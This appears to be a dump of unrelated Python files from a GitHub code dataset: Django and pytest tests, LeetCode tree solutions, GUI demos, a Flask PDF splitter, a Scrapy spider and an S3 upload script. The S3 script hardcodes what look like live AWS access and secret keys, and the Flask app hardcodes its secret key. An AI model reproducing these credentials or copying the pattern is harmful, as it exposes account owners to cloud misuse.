area\r\n#dist_transform = cv2.distanceTransform(opening, cv2.DIST_L2,5) #make it different judged on distance\r\n#open_picture(dist_transform)\r\n#ret, sure_fg = cv2.threshold(dist_transform, 0.45*dist_transform.mean(),255,0) \r\n#open_picture(sure_fg)\r\n\r\n\r\n# Finding unknown region\r\n#sure_fg = np.uint8(sure_fg)\r\n#unknown = cv2.subtract(sure_bg, sure_fg)\r\n\r\n\r\n# Marker labelling\r\n#ret, markers = cv2.connectedComponents(sure_fg)\r\n# Add one to all labels so that sure background is not 0, but 1\r\n#markers = markers+1\r\n# Now, mark the region of unknown with zero\r\n#markers[unknown==255] = 0\r\n\r\n#markers = cv2.watershed(img_cap, markers)\r\n\r\n#img_cap[markers == -1] = [255,0,0]\r\n#open_picture(img_cap)\r\n#cv2.imwrite('./DIP/watershed_img.png', img_cap)\r\n\r\n","repo_name":"garyho7043/DIP","sub_path":"num_identificaion_preprocessing.py","file_name":"num_identificaion_preprocessing.py","file_ext":"py","file_size_in_byte":4800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"30681775455","text":"from django.test import TestCase\nfrom django.contrib.auth.models import User\nfrom .models import Follower\n\n\nclass UsersTestCase(TestCase):\n def test_simple(self):\n self.assertEqual(1 + 1, 2, 'Hard test')\n\n def test_request_list_users(self):\n response = self.client.get('/v1/users/')\n self.assertEqual(response.status_code, 200)\n\n def test_unknown_url(self):\n response = self.client.get('/v1/user12312/')\n self.assertEqual(response.status_code, 404)\n\n def test_empty_list_users(self):\n response = self.client.get('/v1/users/')\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json(), {\n \"count\": 0,\n \"next\": None,\n \"previous\": None,\n \"results\": []\n })\n\n def test_list_users(self):\n User.objects.create(username=\"JackKelly\")\n response = self.client.get('/v1/users/')\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.json(), {\n \"count\": 1,\n \"next\": None,\n \"previous\": None,\n \"results\": [{\n \"email\": \"\",\n \"first_name\": \"\",\n \"last_name\": \"\",\n \"url\": \"http://testserver/v1/users/JackKelly/\",\n \"username\": \"JackKelly\"\n }]\n })\n\n\nclass FollowerTestCase(TestCase):\n def setUp(self) -> None:\n self.user1 = User.objects.create(username=\"Kelvin\")\n self.user2 = User.objects.create(username=\"Garry\")\n self.user3 = User.objects.create(username=\"Tormund\")\n Follower.objects.create(follower=self.user1, follows=self.user2)\n\n def test_data_exists(self):\n self.assertEqual(User.objects.count(), 3)\n self.assertEqual(Follower.objects.count(), 1)\n\n def test_new_follower_correct(self):\n self.client.force_login(self.user1)\n response = self.client.post('/v1/follow/Tormund/')\n self.assertEqual(response.status_code, 201)\n self.assertEqual(Follower.objects.count(), 2)\n self.assertIsNotNone(Follower.objects.filter(\n follower=self.user1, follows=self.user3\n ))\n\n def test_new_follower_correct(self):\n self.client.force_login(self.user1)\n response = self.client.delete('/v1/follow/Garry/')\n self.assertEqual(response.status_code, 204)\n self.assertEqual(Follower.objects.count(), 0)\n\n def test_follow_yourself_faild(self):\n self.client.force_login(self.user1)\n response = self.client.delete(f'/v1/follow/{self.user1}/')\n self.assertEqual(response.status_code, 400)\n\n def test_unfollow_not_exists_faild(self):\n self.client.force_login(self.user1)\n response = self.client.delete(f'/v1/follow/NotExists/')\n self.assertEqual(response.status_code, 400)\n","repo_name":"DieNice/django-intensive-2021","sub_path":"juke/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"5676043869","text":"import pathlib\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport pygubu\n\nPROJECT_PATH = pathlib.Path(__file__).parent\nPROJECT_UI = PROJECT_PATH / \"settingsdemo.ui\"\n\n\nclass SettingsDialog:\n def __init__(self, master=None):\n self.builder = builder = pygubu.Builder()\n builder.add_resource_path(PROJECT_PATH)\n builder.add_from_file(PROJECT_UI)\n self.mainwindow = builder.get_object(\"settingsdialog\", master)\n\n self.iconsizevar = None\n self.langvar = None\n self.winposvar = None\n builder.import_variables(self, [\"iconsizevar\", \"langvar\", \"winposvar\"])\n\n builder.connect_callbacks(self)\n\n # Init settings\n self.iconsizevar.set(\"24px\")\n self.langvar.set(\"Spanish\")\n self.winposvar.set(False)\n\n def run(self):\n self.mainwindow.run()\n\n def on_cancel(self):\n self.mainwindow.destroy()\n\n def on_close(self, event):\n self.on_cancel()\n\n def on_save(self):\n print(\"Save settings here:\")\n print(\"iconsizevar\", self.iconsizevar.get())\n print(\"langvar\", self.langvar.get())\n print(\"winposvar\", self.winposvar.get())\n print(\"Settings saved.\")\n self.mainwindow.destroy()\n\n\nif __name__ == \"__main__\":\n root = tk.Tk()\n app = SettingsDialog(root)\n app.run()\n","repo_name":"alejandroautalan/pygubu-designer","sub_path":"examples/dialogs/demo4/settingsdialog.py","file_name":"settingsdialog.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":616,"dataset":"github-code","pt":"50"} +{"seq_id":"41584982985","text":"from notepad.services.upload import UploadService\nfrom notepad.services.notes_limit import NotesLimitError\nimport pytest\nfrom notepad.models import Note\nfrom mixer.backend.django import mixer\nfrom rest_framework.test import APIClient\nfrom freezegun import freeze_time\nfrom notepad.tasks import cleaner\n\npytestmark = [pytest.mark.django_db]\n\n\n@pytest.fixture\ndef mock_allowed_amount(monkeypatch):\n patched = {'B': 0}\n monkeypatch.setattr('notepad.services.notes_limit.allowed_amount', patched)\n\n\ndef test_service_object_create_valid_instance(user):\n UploadService(user, 'Грузите апельсины бочками')()\n assert Note.objects.last().code == 'Грузите апельсины бочками'\n \ndef test_notes_limit_service(user, mock_allowed_amount):\n with pytest.raises(NotesLimitError):\n UploadService(user, 'test')()\n \n\ndef test_model_instance_creation(auth_api):\n auth_api.post('/notes/', {'code': 'NewIdea', 'delete_after_viewing': False})\n assert Note.objects.last().code == 'NewIdea'\n\n\ndef test_delete_after_first_view(auth_api):\n auth_api.post('/notes/', {'code': 'Does not matter', 'delete_after_viewing': True})\n note_id = Note.objects.last().note_id\n auth_api.get(f'/notes/{note_id}/')\n with pytest.raises(Note.DoesNotExist):\n Note.objects.get(pk=note_id)\n\n\ndef test_upload_endpoint(auth_api):\n with open('notepad/tests/upl.txt', 'rb') as f:\n response = auth_api.post('/notes/upload/', {'file': f})\n assert response.status_code == 201\n assert Note.objects.last().code == 'Графиня изменившимся лицом бежит пруду'\n\n\ndef test_can_not_put(auth_api):\n auth_api.post('/notes/', {'code': 'Hello', 'delete_after_viewing': False})\n auth_api.put(f'/notes/{Note.objects.last().note_id}', {'code': 'world!', 'delete_after_viewing': False})\n assert Note.objects.last().code == 'Hello'\n\n\ndef test_celery_deletes_old_instances(auth_api):\n with freeze_time(\"2020-01-14\"):\n auth_api.post('/notes/', {'code': 'CeleryPower', 'delete_after_viewing': False})\n cleaner.apply()\n assert Note.objects.count() == 0\n","repo_name":"Oliventer/Amirbin","sub_path":"backend/notepad/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21874467858","text":"from collections import *\nfrom typing import *\n\nfrom src.data_structure.tree.model import TreeNode, Node\n\n\n# https://leetcode.com/problems/binary-tree-level-order-traversal/\nclass Solution102:\n def levelOrder(self, root: TreeNode) -> List[List[int]]:\n res = []\n if not root: return res\n\n queue = [root]\n while queue:\n size = len(queue)\n nodes = []\n for _ in range(size):\n node = queue.pop(0)\n nodes.append(node.val)\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n\n res.append(nodes)\n\n return res\n\n\n# https://leetcode.com/problems/binary-tree-level-order-traversal-ii/\nclass Solution107:\n def levelOrderBottom(self, root: TreeNode) -> List[List[int]]:\n res = []\n if not root: return res\n\n queue = [root]\n while queue:\n size = len(queue)\n nodes = []\n for _ in range(size):\n node = queue.pop(0)\n nodes.append(node.val)\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n\n res.append(nodes)\n\n return res[::-1]\n\n\n# https://leetcode.com/problems/n-ary-tree-level-order-traversal/\nclass Solution429:\n def levelOrder(self, root: 'Node') -> List[List[int]]:\n res = []\n if not root: return res\n\n queue = [root]\n while queue:\n size = len(queue)\n nodes = []\n for _ in range(size):\n node = queue.pop(0)\n\n nodes.append(node.val)\n\n for child in node.children:\n if child: queue.append(child)\n\n res.append(nodes)\n\n return res\n\n\n# https://leetcode.com/problems/binary-tree-zigzag-level-order-traversal/\nclass Solution103:\n def zigzagLevelOrder(self, root: TreeNode) -> List[List[int]]:\n res = []\n if not root: return res\n forward = True\n queue = [root]\n while queue:\n size = len(queue)\n nodes = []\n for _ in range(size):\n node = queue.pop(0)\n\n nodes.append(node.val)\n\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n\n if forward:\n res.append(nodes)\n else:\n res.append(nodes[::-1])\n forward = not forward\n return res\n\n\n# https://leetcode.com/problems/cousins-in-binary-tree/\nclass Solution993:\n def isCousins(self, root: TreeNode, x: int, y: int) -> bool:\n queue = [(root, None)] # node, parent\n firstP = None # the parent of either x or y\n while queue:\n size = len(queue)\n for _ in range(size):\n node, parent = queue.pop(0)\n\n if x == node.val or y == node.val:\n if not firstP:\n firstP = parent\n else:\n return not firstP == parent\n\n if node.left: queue.append((node.left, node))\n if node.right: queue.append((node.right, node))\n\n if firstP: return False\n\n return False\n\n\n# https://leetcode.com/problems/binary-tree-vertical-order-traversal/\nclass Solution314:\n def verticalOrder(self, root: TreeNode) -> List[List[int]]:\n if not root: return []\n columnTable = defaultdict(list) # column => list\n queue = deque([(root, 0)])\n\n while queue:\n node, column = queue.popleft()\n\n columnTable[column].append(node.val)\n\n if node.left: queue.append((node.left, column - 1))\n if node.right: queue.append((node.right, column + 1))\n\n return [columnTable[x] for x in sorted(columnTable.keys())]\n\n\n# https://leetcode.com/problems/vertical-order-traversal-of-a-binary-tree/\nclass Solution987:\n def verticalTraversal(self, root: TreeNode) -> List[List[int]]:\n columnTable = defaultdict(list) # column as key, value is (row, node_value)\n queue = deque([(root, 0, 0)])\n\n while queue:\n node, row, column = queue.popleft()\n columnTable[column].append([row, node.val])\n if node.left: queue.append((node.left, row + 1, column - 1))\n if node.right: queue.append((node.right, row + 1, column + 1))\n\n res = []\n for x in sorted(columnTable.keys()): # sorted by column\n temp = []\n for row, val in sorted(columnTable[x]): # sorted by row, then number\n temp.append(val)\n res.append(temp)\n\n return res\n\n\n# https://leetcode.com/problems/populating-next-right-pointers-in-each-node/\n# https://leetcode.com/problems/populating-next-right-pointers-in-each-node-ii/\nclass Solution117:\n def connect(self, root: 'Node') -> 'Node':\n if not root: return None\n\n def link(list_nodes):\n n = len(list_nodes)\n for i in range(n - 1):\n list_nodes[i].next = list_nodes[i + 1]\n\n queue = [root]\n while queue:\n size = len(queue)\n link(queue)\n for _ in range(size):\n node = queue.pop(0)\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n\n return root\n\n\n# https://leetcode.com/problems/binary-tree-right-side-view/\nclass Solution199:\n def rightSideView(self, root: TreeNode) -> List[int]:\n if root is None: return []\n\n queue = [root]\n res = []\n while queue:\n size = len(queue)\n res.append(queue[-1].val)\n for _ in range(size):\n node = queue.pop(0)\n\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n\n return res\n\n\n# https://leetcode.com/problems/find-largest-value-in-each-tree-row/\nclass Solution515:\n def largestValues(self, root: TreeNode) -> List[int]:\n if not root: return []\n queue = [root]\n res = []\n while queue:\n size = len(queue)\n max_num = float('-inf')\n for _ in range(size):\n node = queue.pop(0)\n max_num = max(max_num, node.val)\n\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n\n res.append(max_num)\n\n return res\n\n\n# https://leetcode.com/problems/maximum-level-sum-of-a-binary-tree/\nclass Solution1161:\n def maxLevelSum(self, root: TreeNode) -> int:\n max_sum = float('-inf')\n level = 1\n res = 1\n queue = [root]\n\n while queue:\n size = len(queue)\n s = 0\n for _ in range(size):\n node = queue.pop(0)\n s += node.val\n\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n\n if s > max_sum:\n max_sum = s\n res = level\n level += 1\n\n return res\n\n\n# https://leetcode.com/problems/average-of-levels-in-binary-tree/\nclass Solution637:\n def averageOfLevels(self, root: TreeNode) -> List[float]:\n if not root: return []\n res = []\n queue = [root]\n\n while queue:\n size = len(queue)\n s, count = 0, 0\n for _ in range(size):\n node = queue.pop(0)\n s += node.val\n count += 1\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n\n res.append(s / count)\n\n return res\n\n\n# https://leetcode.com/problems/validate-binary-tree-nodes/\nclass Solution1361:\n def validateBinaryTreeNodes(self, n: int, leftChild: List[int], rightChild: List[int]) -> bool:\n\n root = 0\n childrenNodes = set(leftChild + rightChild)\n for i in range(n):\n if i not in childrenNodes:\n root = i\n\n seen = {root}\n queue = deque([root])\n\n while queue:\n node = queue.popleft()\n l = leftChild[node]\n r = rightChild[node]\n if l != -1:\n if l in seen: return False\n queue.append(l)\n seen.add(l)\n\n if r != -1:\n if r in seen: return False\n queue.append(r)\n seen.add(r)\n\n return len(seen) == n\n","repo_name":"sunjianbo945/leetcode","sub_path":"src/data_structure/tree/level_traverse.py","file_name":"level_traverse.py","file_ext":"py","file_size_in_byte":8549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"43121198950","text":"import tkinter as tk # python 3\nfrom tkinter import font as tkfont # python 3\nfrom LoginPage import LoginWindow\nfrom RegisterPage import RegisterWindow\nfrom HomePage import HomeWindow\nimport ConnectPage\n\nclass SampleApp(tk.Tk):\n\n def __init__(self, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n\n self.title_font = tkfont.Font(family='Helvetica', size=18, weight=\"bold\", slant=\"italic\")\n\n # the container is where we'll stack a bunch of frames\n # on top of each other, then the one we want visible\n # will be raised above the others\n self.geometry(\"630x600+500+200\")\n self.resizable(False,False)\n container = tk.Frame(self)\n container.pack(side=\"top\", fill=\"both\", expand=True)\n container.grid_rowconfigure(0, weight=1)\n container.grid_columnconfigure(0, weight=1)\n self.frames = {}\n for F in (StartPage, LoginWindow, RegisterWindow, HomeWindow, ConnectPage.ConnectWindow):\n page_name = F.__name__\n frame = F(parent=container, controller=self)\n self.frames[page_name] = frame\n\n # put all of the pages in the same location;\n # the one on the top of the stacking order\n # will be the one that is visible.\n frame.grid(row=0, column=0, sticky=\"nsew\")\n\n self.show_frame(\"StartPage\", \"Start Page\")\n\n\n def show_frame(self, page_name, title):\n '''Show a frame for the given page name'''\n frame = self.frames[page_name]\n self.title(title)\n frame.tkraise()\n\n\nclass StartPage(tk.Frame):\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n # button1 = tk.Button(self, text=\"Login\",\n # command=lambda: controller.show_frame(\"LoginWindow\", \"Login Page\"))\n button1 = tk.Button(self, text=\"Home\",width=\"20\",height=\"3\",font='Courier 26',\n command=lambda: controller.show_frame(\"HomeWindow\", \"Home Page\"))\n\n button2 = tk.Button(self, text=\"Register\",width=\"20\",height=\"3\",font='Courier 26',\n command=lambda: controller.show_frame(\"RegisterWindow\", \"Register Page\"))\n button1.pack(pady=\"130\")\n button2.pack()\n\n\nif __name__ == \"__main__\":\n app = SampleApp()\n app.mainloop()","repo_name":"alibabaei12/splunk","sub_path":"Login Page/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70000308955","text":"import boto3\r\n\r\nconfig = {\r\n 'aws_access_key_id': 'AKIAZ6RF4EGJR5SB4J3W',\r\n 'aws_secret_access_key': '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',\r\n 'region_name': 'us-east-1'\r\n}\r\n\r\nclient = boto3.client('s3', aws_access_key_id=config['aws_access_key_id'], \r\n aws_secret_access_key=config['aws_secret_access_key'], \r\n region_name=config['region_name'])\r\n\r\n\r\nfile_name = \"data_file.csv.txt\"\r\nfile_path = r\"C:\\Users\\Abrah\\Desktop\\data_file.csv.txt\"\r\n\r\n\r\nwith open (file_path, 'rb') as file:\r\n #ACL='public-read' makes the file public\r\n client.put_object(Bucket='autentico-corajillo', Key=file_name, Body=file)\r\n\r\n\r\n\r\n","repo_name":"Abraham935/CarajilloEquipo11","sub_path":"s3Files.py","file_name":"s3Files.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72956454556","text":"# 8queueP\r\nimport os\r\nimport time\r\n\r\n\r\nclass Queen:\r\n def __init__(self, queenNum):\r\n self.queenNum = queenNum\r\n self.Matrix = []\r\n self.availabeNum = 0\r\n\r\n def getPrePos(self, i):\r\n for j in range(self.queenNum):\r\n if self.Matrix[i - 1][j] == 1:\r\n return i - 1, j\r\n return None, None\r\n\r\n def checkIsOk(self, curi, i, j): # 进行前向检查\r\n if curi == 0:\r\n return 1\r\n prei, prej = self.getPrePos(curi)\r\n if prei == prej is None:\r\n return None\r\n if prei == i or prej == j or abs(prei - i) == abs(prej - j):\r\n # 如果是对角线即横纵座标差的绝对值相同返回不ok\r\n return 0\r\n return self.checkIsOk(curi - 1, i, j) # 递归进行前向检查,直到检查到第一行\r\n\r\n def setMatrix(self):\r\n for i in range(self.queenNum):\r\n temp = []\r\n for j in range(self.queenNum):\r\n temp.append(0)\r\n self.Matrix.append(temp)\r\n\r\n def putQueen(self, i): # 递归调用,i 表示现在放置第i行皇后\r\n global isOver\r\n if isOver is True:\r\n return 1\r\n if i >= self.queenNum:\r\n self.show()\r\n self.availabeNum += 1\r\n for j in range(self.queenNum):\r\n flag = self.checkIsOk(i, i, j) # 检查是否合理,合理返回1,否则返回0\r\n if flag == 1:\r\n self.Matrix[i][j] = 1\r\n flag = self.putQueen(i + 1) # 进行第i+1行放置,返回0则不合理,返回1即是到达了边界,故均设为0\r\n if flag == 0:\r\n self.Matrix[i][j] = 0\r\n elif flag == 1:\r\n self.Matrix[i][j] = 0\r\n return 0\r\n\r\n def show(self):\r\n for i in range(self.queenNum):\r\n for j in range(self.queenNum):\r\n print(\"{} \".format(self.Matrix[i][j]), end='')\r\n print(\"\")\r\n print('\\n\\n')\r\n\r\n\r\ndef main():\r\n queenNum = eval(input(\"请输入皇后数目\"))\r\n queenPosGraph = Queen(queenNum)\r\n startTime = time.perf_counter()\r\n queenPosGraph.setMatrix()\r\n queenPosGraph.putQueen(0)\r\n endTime = time.perf_counter()\r\n print(\"共有{:*^20}种摆法\".format(queenPosGraph.availabeNum))\r\n print(\"用时{:*^20} s\".format(endTime - startTime))\r\n pass\r\n\r\n\r\nif __name__ == \"__main__\":\r\n while True:\r\n isOver = False\r\n main()\r\n","repo_name":"XingJinming-real/the-novice","sub_path":"n皇后回溯.py","file_name":"n皇后回溯.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"17811588778","text":"def odd_or_even(lst):\n even_nums = []\n odd_nums = []\n for i in lst:\n if i % 2 == 0:\n even_nums.append(i)\n else:\n odd_nums.append(i)\n\n print(f'Odd sum = {sum(odd_nums)}, Even sum = {sum(even_nums)}')\n\n\nnumbers = map(int, list(input()))\nodd_or_even(numbers)\n","repo_name":"giorno39/softuni_fund_python","sub_path":"func_ex/add_and_even_sum.py","file_name":"add_and_even_sum.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"74029486554","text":"from PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\n\r\nclass Ui_MainWindow(object):\r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n MainWindow.resize(1050, 714)\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.analyzeBtn = QtWidgets.QPushButton(self.centralwidget)\r\n self.analyzeBtn.setGeometry(QtCore.QRect(10, 10, 191, 31))\r\n self.analyzeBtn.setObjectName(\"analyzeBtn\")\r\n self.label = QtWidgets.QLabel(self.centralwidget)\r\n self.label.setGeometry(QtCore.QRect(210, 20, 451, 21))\r\n self.label.setObjectName(\"label\")\r\n self.diameterText = QtWidgets.QTextEdit(self.centralwidget)\r\n self.diameterText.setGeometry(QtCore.QRect(10, 70, 421, 561))\r\n self.diameterText.setObjectName(\"diameterText\")\r\n self.PlotLabel = QtWidgets.QLabel(self.centralwidget)\r\n self.PlotLabel.setGeometry(QtCore.QRect(540, 70, 491, 551))\r\n self.PlotLabel.setText(\"\")\r\n self.PlotLabel.setObjectName(\"PlotLabel\")\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.menubar = QtWidgets.QMenuBar(MainWindow)\r\n self.menubar.setGeometry(QtCore.QRect(0, 0, 1050, 18))\r\n self.menubar.setObjectName(\"menubar\")\r\n self.menu = QtWidgets.QMenu(self.menubar)\r\n self.menu.setObjectName(\"menu\")\r\n MainWindow.setMenuBar(self.menubar)\r\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n MainWindow.setStatusBar(self.statusbar)\r\n self.action = QtWidgets.QAction(MainWindow)\r\n self.action.setObjectName(\"action\")\r\n self.action_2 = QtWidgets.QAction(MainWindow)\r\n self.action_2.setObjectName(\"action_2\")\r\n self.menu.addAction(self.action)\r\n self.menubar.addAction(self.menu.menuAction())\r\n\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\r\n self.analyzeBtn.setText(_translate(\"MainWindow\", \"Начать анализ\"))\r\n self.label.setText(_translate(\"MainWindow\", \"Результаты будут в папке \\\"results\\\"!\"))\r\n self.diameterText.setHtml(_translate(\"MainWindow\", \"\\n\"\r\n\"\\n\"\r\n\"

Здесь будут отображаться результаты!

\"))\r\n self.menu.setTitle(_translate(\"MainWindow\", \"Открыть...\"))\r\n self.action.setText(_translate(\"MainWindow\", \"Файл(ы)\"))\r\n self.action_2.setText(_translate(\"MainWindow\", \"Папку\"))\r\n","repo_name":"code-n-cry/track_membrane_analyzing","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"37055789604","text":"from flask import Flask, render_template, request, send_file, redirect, flash\nfrom PyPDF2 import PdfReader, PdfFileWriter\nfrom zipfile import ZipFile\nfrom os.path import basename\nimport os\nimport time\n \napp = Flask(__name__)\nUPLOAD_FOLDER = os.path.join(os.getcwd(), 'static/src/upload')\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.secret_key = '6a2a6dadeae0eb1f5dc98cf6d383b1b500e21234c39a473b76d55a56bedcb2d4'\nDOWNLOAD_FOLDER = os.path.join(os.getcwd(), 'static/src/download')\ntoday = time.strftime(\"%d-%m-%Y\")\nFILE_ZIP_PATH = os.path.join(os.getcwd(),'static/src/zip_file')\nFILE_ZIP = os.path.join(FILE_ZIP_PATH,'Contracheques_{}.zip'.format(today))\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/upload', methods=['POST'])\ndef upload(): \n file = request.files['arquivo']\n if file:\n # savePath = os.path.join(UPLOAD_FOLDER ,file.filename)\n split_file(file)\n empty_zip_folder()\n zip_files()\n empty_donwload_folder()\n return send_file(FILE_ZIP, as_attachment=True)\n else:\n flash(\"Nenhum arquivo selecionado\")\n return redirect('/')\n\n \n \n\n@app.route('/split_file')\ndef split_file(file):\n pdf = PdfReader(file)\n\n for i in range(pdf.numPages): \n page = pdf.pages[i]\n text = page.extract_text()\n posicao_nome = text.find('Nome')\n posicao_competencia = text.find('Competência')\n nome = text[posicao_nome + 4:posicao_competencia]\n competencia = text[posicao_competencia + 11:posicao_competencia + 21]\n competencia = competencia.replace('/','_')\n nome_arquivo_separado = nome.strip() + '_' + competencia.strip()\n downloadFilePath = os.path.join(os.getcwd(), nome_arquivo_separado)\n output = PdfFileWriter()\n output.addPage(pdf.getPage(i))\n with open(downloadFilePath + \".pdf\", \"wb\") as outputStream:\n output.write(outputStream)\n return redirect('/')\n\n@app.route('/zip_files')\ndef zip_files():\n with ZipFile(FILE_ZIP, 'w') as zipObj:\n for folderName, subfolders, filenames in os.walk(DOWNLOAD_FOLDER):\n for filename in filenames:\n filePath = os.path.join(folderName, filename)\n zipObj.write(filePath, basename(filePath))\n\ndef empty_donwload_folder():\n for f in os.listdir(DOWNLOAD_FOLDER):\n os.remove(os.path.join(DOWNLOAD_FOLDER, f))\n\ndef empty_zip_folder():\n for f in os.listdir(FILE_ZIP_PATH):\n os.remove(os.path.join(FILE_ZIP_PATH, f)) \n\nif __name__ == '__main__':\n app.debug = True\n app.run()\n","repo_name":"DiogoLuisFC/Separador-PDF-Contracheque","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"1684901586","text":"import math\nfrom typing import Union\n\nimport paddle\nimport paddle.nn as nn\n\nfrom pprndr.apis import manager\nfrom pprndr.cameras.math_functionals import Gaussians\n\n__all__ = [\"NeuSEncoder\"]\n\n\n@manager.ENCODERS.add_component\nclass NeuSEncoder(nn.Layer):\n def __init__(self,\n input_dims: int = 3,\n num_freqs: int = 10,\n include_input: bool = True,\n log_sampling: bool = True):\n super(NeuSEncoder, self).__init__()\n\n self.num_freqs = float(num_freqs) # i.e., multires\n self.max_freq_log2 = self.num_freqs - 1\n self.input_dims = input_dims\n self.include_input = include_input\n self.log_sampling = log_sampling\n self.periodic_fns = [paddle.sin, paddle.cos]\n\n self.out_dim = None # computed in creat_embedding_fn\n self.embedding_fns = self.creat_embedding_fn()\n\n def creat_embedding_fn(self) -> list:\n # Compute out_dim\n embed_fns = []\n d = self.input_dims\n out_dim = 0\n\n # Include input\n if self.include_input:\n embed_fns.append(lambda x: x)\n out_dim += d\n\n # Set freq_bands\n max_freq = self.max_freq_log2\n num_freqs = self.num_freqs\n if self.log_sampling:\n freq_bands = 2.**paddle.linspace(0, max_freq, num_freqs)\n else:\n freq_bands = paddle.linspace(2.**0., 2**max_freq, num_freqs)\n\n for freq in freq_bands:\n for p_fn in self.periodic_fns:\n embed_fns.append(lambda x, p_fn=p_fn, freq=freq: p_fn(x * freq))\n out_dim += d\n self.output_dim = out_dim\n return embed_fns\n\n def forward(self, x):\n output = []\n for embed_fn in self.embedding_fns:\n output.append(embed_fn(x))\n\n output = paddle.concat(output, axis=-1)\n return output\n","repo_name":"PaddlePaddle/Paddle3D","sub_path":"contrib/PaddleRendering/pprndr/models/encoders/neus_encoder.py","file_name":"neus_encoder.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":479,"dataset":"github-code","pt":"50"} +{"seq_id":"23136188269","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport os\nfrom ..items import DaomubijiItem\n\n\nclass DaomuSpider(scrapy.Spider):\n name = 'daomu'\n allowed_domains = ['www.daomubiji.com']\n start_urls = ['http://www.daomubiji.com/']\n\n def parse(self, response):\n \"\"\"一级页面的解析函数:提取大标题和大链接\"\"\"\n a_list = response.xpath('//li[contains(@id,\"menu-item-20\")]/a')\n for a in a_list:\n parent_title = a.xpath('./text()').get()\n parent_url = a.xpath('./@href').get()\n # ./ novel / 盗墓笔记1: 七星鲁王宫/\n item = DaomubijiItem()\n item['directory'] = './novel/{}/'.format(parent_title)\n if not os.path.exists(item['directory']):\n os.makedirs(item['directory'])\n yield scrapy.Request(url=parent_url, meta={'meta1': item}, callback=self.detail_page)\n\n def detail_page(self, response):\n meta1_item = response.meta['meta1']\n article_list = response.xpath('//article')\n for article in article_list:\n item=DaomubijiItem()\n son_url = article.xpath('./a/@href').get()\n item['son_title']=article.xpath('./a/text()').get()\n item['directory']=meta1_item['directory']\n yield scrapy.Request(url=son_url, meta={'item': item}, callback=self.get_content)\n\n def get_content(self, response):\n item = response.meta['item']\n p_list = response.xpath('//article[@class=\"article-content\"]/p/text()').extract()\n print(p_list)\n item['content'] = '\\n'.join(p_list)\n print(item['content'])\n yield item\n","repo_name":"sjk052026/test2020","sub_path":"spider/day17/Daomubiji/Daomubiji/spiders/daomu.py","file_name":"daomu.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33624145761","text":"#Import excel file\nimport pandas as pd\n\npd.set_option('display.max_columns',None)\nworkbook_url = 'C:/Users/tstacks/OxCGRT_summary.xlsx'\nq2_cases = pd.read_excel(workbook_url, sheet_name='confirmedcases', nrows=166,ignore_index=True)\nq2_deaths = pd.read_excel(workbook_url, sheet_name='confirmeddeaths', nrows=166,ignore_index=True)\nq2_index = pd.read_excel(workbook_url, sheet_name='stringencyindex_legacy', nrows=166,ignore_index=True)\n\n\nq2_cases.head()\nq2_deaths.head()\nq2_index.head()\n\n\n#check all variable types \nq2_cases.dtypes\nq2_deaths.dtypes\nq2_index.dtypes\n\n#descriptive stats to check all columns\nq2_cases.describe(include='all')\nq2_deaths.describe(include='all')\nq2_index.describe(include='all')\n\n\n\n\n##modify structure of dataframe for plotting\n#select the columns to use for 